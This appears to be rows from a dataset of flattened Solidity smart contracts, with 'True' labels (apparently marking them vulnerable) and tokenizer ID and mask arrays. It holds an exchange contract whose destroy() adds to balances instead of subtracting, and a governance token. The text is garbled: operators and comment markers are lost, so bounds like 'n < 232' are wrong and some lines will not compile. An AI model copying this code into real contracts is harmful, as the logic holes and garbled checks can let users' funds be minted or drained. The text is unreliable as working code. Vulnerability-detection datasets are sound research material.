allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract ReserveToken is StandardToken { using SafeMath for uint256; address public minter; constructor() public { minter = msg.sender; } function create(address account, uint amount) public { require(msg.sender == minter); balances[account] = balances[account].add(amount); totalSupply = totalSupply.add(amount); } function destroy(address account, uint amount) public { require(msg.sender == minter); require(balances[account] >= amount); balances[account] = balances[account].add(amount); totalSupply = totalSupply.sub(amount); } } contract AccountLevels { mapping (address => uint) public accountLevels; //given a user, returns an account level //0 = regular user (pays take fee and make fee) //1 = market maker silver (pays take fee, no make fee, gets rebate) //2 = market maker gold (pays take fee, no make fee, gets entire counterparty's take fee as rebate) function accountLevel(address user) public constant returns(uint) { return accountLevels[user]; } } contract AccountLevelsTest is AccountLevels { //mapping (address => uint) public accountLevels; function setAccountLevel(address user, uint level) public { accountLevels[user] = level; } } contract BossExchange is Ownable { using SafeMath for uint256; address public admin; //the admin address address public feeAccount; //the account that will receive fees address public accountLevelsAddr; //the address of the AccountLevels contract uint public feeMake; //percentage times (1 ether) uint public feeTake; //percentage times (1 ether) uint public feeRebate; //percentage times (1 ether) mapping (address => mapping (address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether) mapping (address => mapping (bytes32 => bool)) public orders; //mapping of user accounts to mapping of order hashes to booleans (true = submitted by user, equivalent to offchain signature) mapping (address => mapping (bytes32 => uint)) public orderFills; //mapping of user accounts to mapping of order hashes to uints (amount of order that has been filled) transferToken public tokenReward; event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user); event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s); event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give); event Deposit(address token, address user, uint amount, uint balance); event Withdraw(address token, address user, uint amount, uint balance); constructor(address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) public { owner = admin_; admin = admin_; feeAccount = feeAccount_; accountLevelsAddr = accountLevelsAddr_; feeMake = feeMake_; feeTake = feeTake_; feeRebate = feeRebate_; } function() public { revert(); } function changeAdmin(address admin_) public onlyOwner { admin = admin_; } function changeAccountLevelsAddr(address accountLevelsAddr_) public onlyOwner { accountLevelsAddr = accountLevelsAddr_; } function changeFeeAccount(address feeAccount_) public onlyOwner { feeAccount = feeAccount_; } function changeFeeMake(uint feeMake_) public onlyOwner{ require(feeMake_ <= feeMake); feeMake = feeMake_; } function changeFeeTake(uint feeTake_) public onlyOwner { require (feeTake_ <= feeTake && feeTake_ >= feeRebate); feeTake = feeTake_; } function changeFeeRebate(uint feeRebate_) public onlyOwner { require(feeRebate_ >= feeRebate && feeRebate_ <=feeTake); feeRebate = feeRebate_; } function deposit() public payable { tokens[0][msg.sender] = tokens[0][msg.sender].add(msg.value); emit Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]); } function withdraw(uint amount) public { require(tokens[0][msg.sender] >= amount); tokens[0][msg.sender] = tokens[0][msg.sender].sub(amount); msg.sender.transfer(amount); emit Withdraw(0, msg.sender, amount, tokens[0][msg.sender]); } function depositToken(address token, uint amount) public { //remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf. require(token!=0); require(StandardToken(token).transferFrom(msg.sender, this, amount)); tokens[token][msg.sender] = tokens[token][msg.sender].add(amount); emit Deposit(token, msg.sender, amount, tokens[token][msg.sender]); } function withdrawToken(address token, uint amount) public { require(token!=0); require(tokens[token][msg.sender] >= amount); tokens[token][msg.sender] = tokens[token][msg.sender].sub(amount); tokenReward = transferToken(token); tokenReward.transfer(msg.sender, amount); emit Withdraw(token, msg.sender, amount, tokens[token][msg.sender]); } function balanceOf(address token, address user) public constant returns (uint) { return tokens[token][user]; } function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) public { bytes32 hash = keccak256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce)); orders[msg.sender][hash] = true; emit Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender); } function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) public { //amount is in amountGet terms bytes32 hash = keccak256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce)); require(( (orders[user][hash] \|\| ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == user) && block.number <= expires && orderFills[user][hash].add(amount) <= amountGet )); tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount); orderFills[user][hash] = orderFills[user][hash].add(amount); emit Trade(tokenGet, amount, tokenGive, amountGive amount / amountGet, user, msg.sender); } function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private { uint feeMakeXfer = amount.mul(feeMake) / (1 ether); uint feeTakeXfer = amount.mul(feeTake) / (1 ether); uint feeRebateXfer = 0; feeRebateXfer = feeTakeXfer; /if (accountLevelsAddr != 0x0) { uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user); if (accountLevel==1) feeRebateXfer = amount.mul(feeRebate) / (1 ether); if (accountLevel==2) feeRebateXfer = feeTakeXfer; }/ tokens[tokenGet][msg.sender] = tokens[tokenGet][msg.sender].sub(amount.add(feeTakeXfer)); tokens[tokenGet][user] = tokens[tokenGet][user].add(amount.add(feeRebateXfer).sub(feeMakeXfer)); //tokens[tokenGet][feeAccount] = tokens[tokenGet][feeAccount].add(feeMakeXfer.add(feeTakeXfer).sub(feeRebateXfer)); tokens[tokenGive][user] = tokens[tokenGive][user].sub(amountGive.mul(amount) / amountGet); tokens[tokenGive][msg.sender] = tokens[tokenGive][msg.sender].add(amountGive.mul(amount) / amountGet); } function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) public constant returns(bool) { if (!( tokens[tokenGet][sender] >= amount && availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount )) return false; return true; } function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) public constant returns(uint) { bytes32 hash = keccak256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce)); uint available1; if (!( (orders[user][hash] \|\| ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == user) && block.number <= expires )) return 0; available1 = tokens[tokenGive][user].mul(amountGet) / amountGive; if (amountGet.sub(orderFills[user][hash])<available1) return amountGet.sub(orderFills[user][hash]); return available1; } function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user) public constant returns(uint) { bytes32 hash = keccak256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce)); return orderFills[user][hash]; } function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) public { bytes32 hash = keccak256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce)); require((orders[msg.sender][hash] \|\| ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == msg.sender)); orderFills[msg.sender][hash] = amountGet; emit Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s); } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 1004, 1001, 4464, 1025, 5795, 1012, 3863, 1004, 1001, 4464, 1025, 20647, 3206, 1013, 1013, 1013, 1013, 4748, 10020, 1024, 1014, 2595, 10790, 2063, 2581, 11329, 2581, 2683, 2094, 20958, 2050, 24434, 2509, 2063, 2692, 2475, 6679, 3676, 2050, 28154, 2620, 18939, 2692, 2581, 2063, 22022, 2620, 22394, 27717, 2487, 2050, 1013, 1013, 9883, 1024, 5717, 1006, 1014, 1007, 1013, 1013, 1013, 1013, 1013, 1013, 9385, 1006, 1039, 1007, 5795, 1012, 3863, 1012, 1996, 10210, 11172, 1012, 1013, 1013, 3206, 19275, 2011, 1024, 5795, 2136, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 8278, 4651, 18715, 2368, 1063, 3853, 4651, 1006, 4769, 8393, 1010, 21318, 3372, 3815, 1007, 6327, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 1013, 1013, 20865, 1006, 1038, 1028, 1014, 1007, 1025, 1013, 1013, 5024, 3012, 8073, 11618, 2043, 16023, 2011, 1014, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1013, 1038, 1025, 1013, 1013, 20865, 1006, 1037, 1027, 1027, 1038, 1008, 1039, 1009, 1037, 1003, 1038, 1007, 1025, 1013, 1013, 2045, 2003, 2053, 2553, 1999, 2029, 2023, 2987, 1004, 1001, 4464, 1025, 1056, 2907, 2709, 1039, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 20865, 1006, 1038, 1026, 1027, 1037, 1007, 1025, 2709, 1037, 1011, 1038, 1025, 1065, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2022-01-31 / /** Submitted for verification at Etherscan.io on 2020-11-09 / // SPDX-License-Identifier: GPL-3.0-or-later // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.12; contract WSGov { /// @dev EIP-20 token name for this token string public constant name = "WhiteSwap"; /// @dev EIP-20 token symbol for this token string public constant symbol = "WSD"; /// @dev EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @dev Total number of tokens in circulation uint public totalSupply = 21_000_000e18; // 1 billion WSG /// @dev Address which may mint new tokens address public minter; /// @dev Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @dev Official record of token balances for each account mapping (address => uint96) internal balances; /// @dev A record of each accounts delegate mapping (address => address) public delegates; /// @dev A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @dev A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @dev The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @dev The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @dev The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @dev The EIP-712 typehash for the permit struct used by the contract bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /// @dev A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @dev An event thats emitted when the minter address is changed event MinterChanged(address minter, address newMinter); /// @dev An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @dev An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @dev The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @dev The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /* * @dev Construct a new WSG token / constructor() public { balances[msg.sender] = uint96(totalSupply); emit Transfer(address(0), msg.sender, totalSupply); minter = msg.sender; emit MinterChanged(address(0), minter); } /* * @dev Change the minter address * @param minter_ The address of the new minter / function setMinter(address minter_) external { require(msg.sender == minter, "WSG::setMinter: only the minter can change the minter address"); emit MinterChanged(minter, minter_); minter = minter_; } /* * @dev Mint new tokens * @param dst The address of the destination account * @param rawAmount The number of tokens to be minted / function mint(address dst, uint rawAmount) external { require(msg.sender == minter, "WSG::mint: only the minter can mint"); require(dst != address(0), "WSG::mint: cannot transfer to the zero address"); // mint the amount uint96 amount = safe96(rawAmount, "WSG::mint: amount exceeds 96 bits"); totalSupply = safe96(SafeMath.add(totalSupply, amount), "WSG::mint: totalSupply exceeds 96 bits"); // transfer the amount to the recipient balances[dst] = add96(balances[dst], amount, "WSG::mint: transfer amount overflows"); emit Transfer(address(0), dst, amount); // move delegates _moveDelegates(address(0), delegates[dst], amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "WSG::burn: burn from the zero address"); uint256 accountBalance = balances[account]; require(accountBalance >= amount, "WSG::burn: burn amount exceeds balance"); balances[account] = safe96(SafeMath.sub(accountBalance, amount), "WSG::burn: amount exceeds 96 bits"); totalSupply = safe96(SafeMath.sub(totalSupply, amount), "WSG::burn: amount exceeds 96 bits"); emit Transfer(account, address(0), amount); } /* * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. / function burn(uint256 amount) public virtual { _burn(msg.sender, amount); } /* * @dev Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved / function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /* * @dev Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded / function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "WSG::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /* * @dev Triggers an approval from owner to spends * @param owner The address to approve from * @param spender The address to be approved * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @param deadline The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair / function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "WSG::permit: amount exceeds 96 bits"); } bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "WSG::permit: invalid signature"); require(signatory == owner, "WSG::permit: unauthorized"); require(now <= deadline, "WSG::permit: signature expired"); allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held / function balanceOf(address account) external view returns (uint) { return balances[account]; } /* * @dev Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded / function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "WSG::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /* * @dev Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded / function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "WSG::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "WSG::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /* * @dev Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to / function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /* * @dev Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair / function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "WSG::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "WSG::delegateBySig: invalid nonce"); require(now <= expiry, "WSG::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /* * @dev Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` / function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /* * @dev Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block / function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "WSG::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "WSG::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "WSG::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "WSG::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "WSG::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "WSG::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "WSG::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "WSG::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 232, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2*96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 5890, 1011, 2861, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 